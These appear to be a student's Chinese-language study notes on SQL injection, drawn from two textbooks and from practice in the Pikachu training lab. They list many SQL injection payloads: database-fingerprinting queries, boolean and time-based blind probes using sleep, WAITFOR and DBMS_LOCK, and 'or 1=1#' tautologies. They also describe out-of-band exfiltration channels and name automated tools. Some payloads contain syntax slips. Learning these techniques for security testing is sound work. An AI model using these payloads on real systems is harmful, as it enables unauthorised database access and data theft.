3.想要间接直到后台使用的技术,可以利用不同数据库管理程序的sql语句的差别判断,比如拼接语句,每种数据库都有小的区别:
——-数据库————————————查询语句
ms sql server select ‘co’+’ol’
mysql select ‘co’ ‘ol’
oracle select ‘co’||’ol’
postgresql select ‘co’||’ol’
比如我们知道一个可以查询的字符串“cool”,就可以通过尝试组合字符来看谁返回的结果一样,来判断连接数据库的类型。

通过会返回数字的查询语句来判断:
——-数据库———————————–查询语句
ms sql server @@rowcount
mysql row_count()
oracle BITAND(1,1)
postgresql SELECT EXTRACT(DOW FROM NOW())

使用特定的sql方言(就是不同数据库特有的功能)来判断,比如一个有趣的判断mysql版本的方法(粗略),需要用到sql注释的知识,下面用到的是 /* */ 的注释方式
SELECT 1 /*!40119 +1 */ // /*!版本号 高过版本号会执行注释
执行以上代码,根据版本会返回不同结果:
2 //版本为 4.01.19版本或者以上高级版本,会把注释解释称代码
1 //低于版本号的其他版本。

4.查列数
经典ORDER BY 试出正确的列数,数据太多就用二分法。,查到列数之后我们需要找一个能输出字符串的列,这是之前为啥那么在sqllab靶场非得在第三列输出查询结果,因为只有第三列是输出字符串格式的。

5.通过时间查
基于时间在纯盲场景之中用处很大,但是不适合提取多位的信息

6.通过错误查

7.基于内容查

8.处理字符串(有点意思)
通过判断用户来生成url查询,代码如下:
select * from products where brand=’ac’+char(108+(case when+(system_user=’sa’) then 1 else 0 end) + ‘e’);
如果是sa,会返回acme,不是sa会返回acle。108是ascii码。

9.扩展攻击:
通过遍历猜出用户名长度之后在猜出用户名具体,猜长度如下:
select len(system_user) //比如用户名为appdbuser,返回9
随后根据循环遍历每个字符,也是通过ascii码



——————————————–SQL盲注利用—————————————————–

【使用推断和非主流通道(时间延迟、错误、dns查询、html响应)】
盲注可分为3类:基于布尔sql盲注、基于时间的盲注、基于报错的盲注

常用sql函数:
1.substr:提取字符串指定起始位置和长度的字符串,默认从起始到结束
substr(string,star_position,[length])
2.if: 满足一个条件可以赋一个值
id(expr1,expr2,expr3) //其中expr1是判断条件,expr2是为true返回值,expr3是false返回值
3.sleep:让语句停留n秒然后返回0,如果被打断,返回1
sleep(n)
4.ascii:返回ascii码

一、基于布尔:
页面返回true和false两种类型页面,用猜猜猜的方式猜,除了使用order by猜列名字,还可以:
1′ and length(database())=1 # //当数字试到返回正常就是说明数据库长度为多少,然后笨方法来猜数据库名….通过二分法查ascii码,例如:
1′ and ascii(substr(database(),1,1))<122
1′ and ascii(substr(database(),1,1))>80
猜表的数量:
1′ and (select count(table_name)) from information_schema.table where table_schema=database()=n # //当n试到成功,就知道了数量
猜表名:
1′ and length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=n # //看表名长度
猜表名(完整):
1′ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>80 #
1′ and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)<122 #

猜字段数量:
1′ and (select count(column_name) from information_schema.columns where table_name=’users’)=n # //试到n存在
猜字段的名字:
1′ and length(substr(select column_name from information_schema.colunms where table_name=’user’ limit 0,1),1)=n # //看看字段名的长度
用ascii码猜字母吧累了不打了。。。
后面猜值也是一样的套路。。。。不打了。。、

二、基于时间的sql盲注:
首先要判断是否存在注入,然后判断字符型还是数字型
输入 1′ and sleep(5) # //感觉有延迟
1 and sleep(5) # //感觉没有延迟
说明存在字符型的基于时间的盲注 。

猜当前数据库名的长度:
1′ and if(length(database())=1,sleep(5),1) # //没有延迟
1′ and if(length(database())=n,sleep(5),1) # //明显延迟,试出是n

二分法猜数据库名:
1′ and if(ascii(substr(database(),1,1)>97),sleep(5),1) # //试出字母。。。。。。

【sql防御】:
1.在服务端正是处理之前对提交的数据的合法性进行检查
2.封装客户端提交的信息
3.替换或删除敏感字符/字符串
4.屏蔽出错信息

[到这里是对《漏洞利用&渗透测试基础》一书关于sql盲注的学习,下面是继续学习《sql注入攻击》一书的学习]

SQL盲注技术:————————————————————————

1.推断攻击技术
2.带外通道技术

对于推断攻击技术,类似本文前一部分提到的挨个猜单词的字母,但这样是非二进制安全的(binary-safe)。如果是逐位方法(bit-by-bit),二分搜索法,这两种是符合二进制安全的。聪明一点的还可以优化一下二分法
【这两个技术作为基础知识】

——————-基于时间的盲注———————-

基于时间的盲注,关注的点在于两个状态:延迟非延迟

针对不同的数据库有不同的引用延迟的方法:
1.MYSQL:
SLEEP() //版本号位5.0.12以及之后版本,强制产生延迟
BENCHMARK() // 向查询中引入可变且显著的延迟
例子:
SELECT COUNT(*) FROM reviews WHERE review_author=’BOB’ UNION SELECT IF (SUBSTRING(USER(),1,4)=’ROOT’,SLEEP(5),1);
上述命令你用来判断连接数据库的用户是不是root

2.postgreSQL延迟技术
1)用系统库的sleep()函数 //版本<8.1
2)pg_sleep() //版本>8.2,注意它返回的类型是void,不能用在WHERE处

3.SQLserver延迟
使用WAITFOR关键字可以让查询终止一段时间再执行(既可以是相对时间,也可以是绝对时间)
执行的是相对时间时:使用DELAY关键字,如下:
WAITFOR DELAY ’00:01:53′ //执行1分53秒的等待,注意此时间是最低下限时间。
注意到,WAITFOR是不可以在子查询中使用的,但是因为SQLserver支持堆叠查询,我们可以:构造一个payload放在合法查询之后,用分号作为分隔符,如下例子:
SELECT COUNT(*) FROM reviews WHERE review_author=’bob’ ;IF SYSTEM_USER=’sa’
WAITFOR DELAY ’00:00:05′
//推断是不是sa

4.oracle延迟
oracle不允许在delect语句的where中插入sleep()函数,但是可以通过引用一个特殊的包来调用,这个包时DBMA_LOCK(这个包提供了sleep()函数在内的一些有用的函数),用法如下
BEGIN DBMS_LOCK.SLEEP(N); END; //n为秒数
注意到这不是一个sql语句用法而是PL/SQL代码,所以是不能嵌入子查询的。还有不要忘记oracle不支持堆叠查询,而且只有数据库管理员能调用DBMS_LOCK包

基于时间的盲注,容易被其他因素影响,比如高负载的数据库或者信道拥挤都会引发慢的响应,那么就要想办法消除这些影响:
1.把延迟设置得足够长。但是这也还是取决于线路的状态和数据库的负载,他们是动态的比较难测量
2.同时发送两个几乎一样的请求,它们均包含延迟产生子句,一个在位值为产生延迟,一个在0产生延迟

—————–基于响应的sql盲注————————-

目前看了一下跟上部分提到的判断查询类似
【注意】:用php编写,用mysql作为数据存储的应用的时候,在进行数据查询过程产生的错误不会引发通用错误页面的异常。

————–使用非主流通道——————-

【通道依赖于数据库支持的功能,因此不适用所有数据库】
比如:DNS通道适用于POSTGRESQL、SQLSERVER\ORACLE,但是不适合MYSQL
下面学习四种独立的针对sql盲注的非主流通道:数据库连接、DNS、e-mail、HTTP

1.数据库连接:
针对sqlserver,攻击者通过它创建从受害者数据库到攻击者数据库的连接并通过该连接传递查询的数据。通过使用:OPENROWSET命令实现该目的。

2.DNS:
DNS是最出名的非主流通道不仅用作SQL注入漏洞的标记,也作为传输数据的通道,它的优点
1)网络只有入口过滤没有出口过滤的时候,或者仅有TCP出口过滤的时候,数据库可以直接向攻击者发送 DNS请求
2)DNS使用的是UDP,如果未收到数据库发送的查找请求的响应,至多会产生一个非致命的错误条件
3)处于中间位置的DNS服务器一般能在数据库的支持下传输流量
4)执行查找的时候,数据库会在默认情况下依赖配置在操作系统的DNS服务器
缺点:攻击者必须对在某一区域内进行了验证注册的DNS服务器拥有访问权

3.e-mail渗漏
邮件使用SMTP,不需要连接发送者和接收者

4.HTTP渗漏

5.ICMP渗漏

自动SQL盲注利用

介绍6种工具:
1.Absinthe

2.BSQL Hacker

3.SQLBrute

4.Sqlmap

5.Sqlninjia

6.Squeeza

—————利用操作系统————————–

有时候访问运行DBMS的主机上的文件系统会是另外的思路,因为可以做到类似获取证书的操作,另外的可以绕开数据库的验证(mysql一般以ascii文本格式存储数据库文件,通过读文件攻击可以在未达到DBMS验证级别的情况下读取数据库内容)

————————读文件—————————

1.mysql:
【草草看到287看不懂的太多了,缓一缓看点别的】



Sql-pikachu

看看今天能不能搞出几个

一、首先,pikachu靶场里的sql 章第一关,数字型注入

1.在查询处随便查一个数字,如2,然后bp抓包,发送给repeater,在id处加上 or 1=1# 之后send,在repeater的respond的render可以看到结果是把数据都遍历列举了出来,说明存在注入。

看来靶场的目的是简单的让我们了解一下注入类型,随着网络安全技术发展,sql注入存在的地方比以前少了很多,但是不是说没有,借用大牛的话,挖不到不是因为没有,而是因为你菜。

二、然后是字符型,因为观察查询的是username,猜测是字符型,所以构造payload为 sigma’ or 1=1#,发现也能遍历,所以是存在注入点。

三、搜索型。简单抓一下包,看到发送get请求包,会对账号进行查询。用第二点的payload也可以查询出结果。

也可以用mysql模糊查询来试试看,回忆一下这个语句

select * from table_name where username=’username’

当我们不记得具体的名字,但是记得名字的子串时,可以用正则式,通配符来查询,如:

select * from table_name where username like ‘%igma%’

%是通配符,代表人一个任意字符,所以上个命令查询带有igma的所有结果,而另外外一个通配符_(下划线) 代表一个某字符。

四、xx型,构造payload报错,有报错的提示。